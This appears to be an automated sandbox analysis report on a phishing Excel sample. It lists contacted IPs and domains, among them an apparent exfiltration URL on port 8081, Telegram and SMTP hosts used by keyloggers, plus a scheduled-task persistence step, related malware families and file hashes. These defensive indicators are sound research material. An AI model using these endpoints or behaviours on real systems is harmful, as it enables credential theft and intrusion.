http://api.telegram.org	sihost.exe, 00000011.00000002.625935756.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002854000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002C9A000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CDB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://secure.comodo.com/CPS0	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
132.226.8.169	unknown	United States	16989	UTMEMUS	false
193.122.6.168	unknown	United States	31898	ORACLE-BMC-31898US	false
192.3.176.138	unknown	United States	36352	AS-COLOCROSSINGUS	true
193.122.130.0	unknown	United States	31898	ORACLE-BMC-31898US	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
208.91.198.143	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
188.114.97.3	unknown	European Union	13335	CLOUDFLARENETUS	false
159.203.133.15	exi.link	United States	14061	DIGITALOCEAN-ASNUS	false
188.114.96.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
208.91.199.225	us2.smtp.mailhostbox.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
208.91.199.223	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
208.91.199.224	unknown	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	false
132.226.247.73	unknown	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1492413
Start date and time:	2024-08-13 20:23:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	32
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (VBA) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx
Detection:	MAL
Classification:	mal100.troj.spyw.expl.evad.winXLSX@44/42@91/14
EGA Information:	Successful, ratio: 83.3%
HCA Information:	Successful, ratio: 93% Number of executed functions: 164 Number of non-executed functions: 126
Cookbook Comments:	Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Active ActiveX Object Active ActiveX Object Active ActiveX Object Scroll down Close Viewer

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, conhost.exe
Execution Graph export aborted for target mshta.exe, PID 2480 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: SecuriteInfo.com.PDF.Phishing.7B6B.tr.8047.20915.xlsx

Simulations

Behavior and APIs

Time	Type	Description
11:24:44	Task Scheduler	Run new task: bKVNuVuE path: C:\Users\user\AppData\Roaming\bKVNuVuE.exe
14:24:24	API Interceptor	56x Sleep call for process: mshta.exe modified
14:24:29	API Interceptor	134x Sleep call for process: powershell.exe modified
14:24:32	API Interceptor	210x Sleep call for process: AcroRd32.exe modified
14:24:40	API Interceptor	68998x Sleep call for process: sihost.exe modified
14:24:43	API Interceptor	4x Sleep call for process: schtasks.exe modified
14:24:44	API Interceptor	219x Sleep call for process: taskeng.exe modified
14:24:45	API Interceptor	4375x Sleep call for process: bKVNuVuE.exe modified
14:24:52	API Interceptor	39x Sleep call for process: RdrCEF.exe modified

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
132.226.8.169	OMSG2024080890D-KHOJALY-LANSHAN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	ORDER 0475.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	KINIK COMPANY_PO-F24-0224 .pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Trojan.AutoIt.1430.22683.25135.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	New_Booking_02.vbe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Quote RF-E68-STD-094.pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	IMPORT PO2024-0961 ASTG.exe	Get hash	malicious	DarkTortilla, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Payment Receipt.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
193.122.6.168	SecuriteInfo.com.Win32.RATX-gen.18099.32744.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	checkip.dyndns.org/
	Document.exe	Get hash	malicious	VIP Keylogger	Browse	checkip.dyndns.org/
	PO 8530240323.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Win32.RATX-gen.17034.6802.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Payment Receipt.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	1enkJkLfUr.hta	Get hash	malicious	Cobalt Strike, HTMLPhisher, Snake Keylogger	Browse	checkip.dyndns.org/
	PR # 3000005991 - Quotation Required.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Swift_Payment_Copy.s#U034fx#U034fl#U034fx#U034f.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	SecuriteInfo.com.Win32.RATX-gen.18099.32744.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	56500104990.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	Deposit Slip 20240806.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Document.exe	Get hash	malicious	VIP Keylogger	Browse	188.114.97.3
	OMSG2024080890D-KHOJALY-LANSHAN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	ORDER 0475.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	PO 8530240323.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	PO SSCJ-2406002.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Quotation No.VFLOIPS31052024-1_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	SecuriteInfo.com.Win32.RATX-gen.17034.6802.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
exi.link	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.3568.4683.xlsx	Get hash	malicious	GuLoader	Browse	159.203.133.15
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	159.203.133.15
	SecuriteInfo.com.X97M.DownLoader.1509.23983.22740.xlsx	Get hash	malicious	GuLoader	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.19627.13699.xlsx	Get hash	malicious	Remcos	Browse	159.203.133.15
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.2521.6085.xlsx	Get hash	malicious	GuLoader	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.30690.22520.xlsx	Get hash	malicious	Remcos	Browse	159.203.133.15
	FedEx_AWB# 777187550711.xls	Get hash	malicious	Unknown	Browse	159.203.133.15
	MT103.xls	Get hash	malicious	Unknown	Browse	159.203.133.15
	FedEx_AWB# 777187550711.xls	Get hash	malicious	Unknown	Browse	159.203.133.15
us2.smtp.mailhostbox.com	SecuriteInfo.com.Win32.PWSX-gen.25647.23289.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.199.225
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	208.91.199.223
	giehjhgjzJ.hta	Get hash	malicious	Cobalt Strike, MassLogger RAT, Snake Keylogger	Browse	208.91.198.143
	1CeVjZDVAW.hta	Get hash	malicious	Cobalt Strike, Snake Keylogger	Browse	208.91.199.224
	3iovP5NjqW.exe	Get hash	malicious	MassLogger RAT, Snake Keylogger	Browse	208.91.199.224
	NGL1Of0ZkJ.hta	Get hash	malicious	Cobalt Strike, AgentTesla	Browse	208.91.198.143
	SecuriteInfo.com.Win32.PWSX-gen.19673.26192.exe	Get hash	malicious	AgentTesla	Browse	208.91.199.224
	Edsha_PO.xls	Get hash	malicious	AgentTesla	Browse	208.91.199.223
	SecuriteInfo.com.Exploit.CVE-2017-0199.04.Gen.20726.10183.xlsx	Get hash	malicious	Snake Keylogger	Browse	208.91.198.143

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	SecuriteInfo.com.Win32.RATX-gen.18099.32744.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	56500104990.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Deposit Slip 20240806.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Document.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	PO 8530240323.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	PO SSCJ-2406002.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Quotation No.VFLOIPS31052024-1_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SecuriteInfo.com.Win32.RATX-gen.17034.6802.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.PWSX-gen.25647.23289.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
UTMEMUS	OMSG2024080890D-KHOJALY-LANSHAN.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	ORDER 0475.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	KINIK COMPANY_PO-F24-0224 .pdf.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.FileRepMalware.11227.27096.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Trojan.AutoIt.1430.22683.25135.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Trojan.AutoIt.1430.14095.11777.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.247.73
	New_Booking_02.vbe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Uzbzdxs.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
AS-COLOCROSSINGUS	SecuriteInfo.com.Exploit.CVE-2017-11882.123.9039.31863.rtf	Get hash	malicious	Unknown	Browse	192.210.150.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.24913.8785.xlsx	Get hash	malicious	Unknown	Browse	172.245.135.143
	Update.js	Get hash	malicious	SocGholish	Browse	23.95.182.48
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.3568.4683.xlsx	Get hash	malicious	GuLoader	Browse	107.172.31.124
	SecuriteInfo.com.Win32.RATX-gen.5931.50.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	192.3.243.155
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.13863.6146.xlsx	Get hash	malicious	Remcos	Browse	192.210.214.9
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.20492.1802.rtf	Get hash	malicious	Remcos	Browse	192.3.109.147
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26143.10677.rtf	Get hash	malicious	Remcos	Browse	107.172.31.124
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.18896.17784.rtf	Get hash	malicious	Remcos	Browse	192.3.109.147
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26982.17078.rtf	Get hash	malicious	Remcos	Browse	192.3.193.155
ORACLE-BMC-31898US	SecuriteInfo.com.Win32.RATX-gen.18099.32744.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	193.122.6.168
	56500104990.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	Deposit Slip 20240806.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	Document.exe	Get hash	malicious	VIP Keylogger	Browse	193.122.6.168
	PO 8530240323.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	PO SSCJ-2406002.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	Quotation No.VFLOIPS31052024-1_PDF.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	SecuriteInfo.com.Win32.RATX-gen.17034.6802.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	SecuriteInfo.com.Win32.PWSX-gen.25647.23289.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.24913.8785.xlsx	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.13863.6146.xlsx	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Exploit.CVE-2017-11882.123.26982.17078.rtf	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.19627.13699.xlsx	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3 188.114.96.3
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.30690.22520.xlsx	Get hash	malicious	Remcos	Browse	188.114.97.3 188.114.96.3
	informe - 2024-08-09T174159.596.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3
	SPECIFICATIONS AND DRAWING.docx	Get hash	malicious	Unknown	Browse	188.114.97.3 188.114.96.3
	solicitud de cotizacion0089087785.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.97.3 188.114.96.3
7dcce5b76c8b17472d024758970a406b	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.24913.8785.xlsx	Get hash	malicious	Unknown	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.3568.4683.xlsx	Get hash	malicious	GuLoader	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.13863.6146.xlsx	Get hash	malicious	Remcos	Browse	159.203.133.15
	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	159.203.133.15
	SecuriteInfo.com.X97M.DownLoader.1509.23983.22740.xlsx	Get hash	malicious	GuLoader	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.19627.13699.xlsx	Get hash	malicious	Remcos	Browse	159.203.133.15
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.2521.6085.xlsx	Get hash	malicious	GuLoader	Browse	159.203.133.15
	SecuriteInfo.com.MSExcel.CVE_2017_0199.G1.exploit.30690.22520.xlsx	Get hash	malicious	Remcos	Browse	159.203.133.15
	SPECIFICATIONS AND DRAWING.docx	Get hash	malicious	Unknown	Browse	159.203.133.15
36f7277af969a6947a61ae0b815907a1	product_list.xls	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Other.Malware-gen.12504.4949.xlsx	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Payment Receipt.docx.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	RV0mEFAxfl.scr	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Edsha_PO.xls	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	Purchase Order PO11420.docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Flytour.doc	Get hash	malicious	RevengeRAT	Browse	149.154.167.220
	SOA JULY.xls	Get hash	malicious	Unknown	Browse	149.154.167.220
	SOA JULY.xls	Get hash	malicious	Unknown	Browse	149.154.167.220
	REVISED UPDATE424 PO.xls	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	modified
Size (bytes):	270336
Entropy (8bit):	0.0018811398465979306
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE+/+rO:/M/xT02zJ
MD5:	503326E635877A11B5618011B42A093F
SHA1:	46D74A99E9A2F5A47D9172AD305824EA9EEBF74D
SHA-256:	FFB25A68F0DCC5280DE3AFCEEEEB264AF9F3D4FC34CB607048E5323BCAFA162A
SHA-512:	1BBD34B45BDD542E4AF908207D49D80F9962A64E88297C84E7A91F9293D80A2DB4E799647B807EBEFBDB5CDF23224412E3475FEE87E717B112F120A96EFD6E37
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.175896944500403
Encrypted:	false
SSDEEP:	6:WofQEraQ+q2PP2nKuAl9OmbnIFUt8XofQAzAgZmw+XofQysQVkwOP2nKuAl9Omb5:74EraVvWHAahFUt8Y4Ng/+Y4ysI57HAR
MD5:	CC17BD61319D2FFB8F1F6FEEA059E806
SHA1:	61F52A57BED2351D0D7C3C80C4424D665DA21D38
SHA-256:	4953F66250F004CF40955C1D022AC8B6145036C2C56386025F7DADE53A62964C
SHA-512:	C8A4E9E1F9B62BFB77171A57E673F0B5C8130257BF58FC03089B1370F19C6C5AFBF1A862486968845EA9469B1FB084002002362D4FCBC04576E5D8BDB689FD3C
Malicious:	false
Preview:	2024/08/13-14:24:54.137 4028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/08/13-14:24:54.142 4028 Recovering log #3.2024/08/13-14:24:54.144 4028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.175896944500403
Encrypted:	false
SSDEEP:	6:WofQEraQ+q2PP2nKuAl9OmbnIFUt8XofQAzAgZmw+XofQysQVkwOP2nKuAl9Omb5:74EraVvWHAahFUt8Y4Ng/+Y4ysI57HAR
MD5:	CC17BD61319D2FFB8F1F6FEEA059E806
SHA1:	61F52A57BED2351D0D7C3C80C4424D665DA21D38
SHA-256:	4953F66250F004CF40955C1D022AC8B6145036C2C56386025F7DADE53A62964C
SHA-512:	C8A4E9E1F9B62BFB77171A57E673F0B5C8130257BF58FC03089B1370F19C6C5AFBF1A862486968845EA9469B1FB084002002362D4FCBC04576E5D8BDB689FD3C
Malicious:	false
Preview:	2024/08/13-14:24:54.137 4028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/08/13-14:24:54.142 4028 Recovering log #3.2024/08/13-14:24:54.144 4028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old~RF6a95ab.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.175896944500403
Encrypted:	false
SSDEEP:	6:WofQEraQ+q2PP2nKuAl9OmbnIFUt8XofQAzAgZmw+XofQysQVkwOP2nKuAl9Omb5:74EraVvWHAahFUt8Y4Ng/+Y4ysI57HAR
MD5:	CC17BD61319D2FFB8F1F6FEEA059E806
SHA1:	61F52A57BED2351D0D7C3C80C4424D665DA21D38
SHA-256:	4953F66250F004CF40955C1D022AC8B6145036C2C56386025F7DADE53A62964C
SHA-512:	C8A4E9E1F9B62BFB77171A57E673F0B5C8130257BF58FC03089B1370F19C6C5AFBF1A862486968845EA9469B1FB084002002362D4FCBC04576E5D8BDB689FD3C
Malicious:	false
Preview:	2024/08/13-14:24:54.137 4028 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2024/08/13-14:24:54.142 4028 Recovering log #3.2024/08/13-14:24:54.144 4028 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Visited Links

Download File

Process:	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.005597679101775777
Encrypted:	false
SSDEEP:	3:ImtVOM1xVlt/XSxdltIt/l:IiVfxlKxdXI1l
MD5:	FD55D575475A6BD81B055F46FA34BA8B
SHA1:	289A6344929F221E19D2F9097A5907FE42C03855
SHA-256:	261CE45767DBF1E61AAF67C5EC1D75C2FF5C02681DF96897D5B0EC56A0F8C2AB
